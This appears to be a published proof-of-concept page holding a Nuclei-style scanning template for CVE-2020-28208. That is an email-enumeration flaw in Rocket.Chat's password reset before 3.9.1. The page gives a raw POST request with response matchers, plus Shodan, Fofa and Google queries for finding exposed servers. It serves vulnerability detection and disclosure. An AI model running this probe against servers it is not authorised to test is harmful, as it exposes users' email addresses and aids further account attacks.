CVE-2020-28208: Rocket.Chat <3.9.1 - Information Disclosure

2025-08-01 Rocket.Chat PoC Public

Description

Rocket.Chat through 3.9.1 is susceptible to information disclosure. An attacker can enumerate email addresses via the password reset function and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.

PoC

id: CVE-2020-28208

info:
  name: Rocket.Chat <3.9.1 - Information Disclosure
  author: pdteam
  severity: medium
  description: Rocket.Chat through 3.9.1 is susceptible to information disclosure. An attacker can enumerate email addresses via the password reset function and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    The vulnerability can lead to the exposure of sensitive information, such as user credentials or private conversations, potentially compromising the confidentiality of the system.
  remediation: |
    Upgrade Rocket.Chat to version 3.9.1 or later to mitigate the information disclosure vulnerability (CVE-2020-28208).
  reference:
    - https://trovent.io/security-advisory-2010-01
    - https://trovent.github.io/security-advisories/TRSA-2010-01/TRSA-2010-01.txt
    - http://www.openwall.com/lists/oss-security/2021/01/07/1
    - http://packetstormsecurity.com/files/160845/Rocket.Chat-3.7.1-Email-Address-Enumeration.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-28208
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-28208
    cwe-id: CWE-203
    epss-score: 0.10817
    epss-percentile: 0.95618
    cpe: cpe:2.3:a:rocket.chat:rocket.chat:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rocket.chat
    product: rocket.chat
    shodan-query: http.title:"rocket.chat"
    fofa-query: title="rocket.chat"
    google-query: intitle:"rocket.chat"
  tags: cve,cve2020,packetstorm,rocketchat,rocket.chat,vuln

http:
  - raw:
      - |
        POST /api/v1/method.callAnon/sendForgotPasswordEmail HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/json

        {"message":"{\"msg\":\"method\",\"method\":\"sendForgotPasswordEmail\",\"params\":[\"user@local.email\"],\"id\":\"3\"}"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"result\":false'
          - '"success":true'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100846296c27bf3bed232eab189e1fabfd6d4b0d44edc846f618e530d43748d058802210098ff23dc953bedd0cd3ba92ba10b84c98190b52f05c83c207628522f48a0e8ce:922c64590222798bb761d5b6d8e72950

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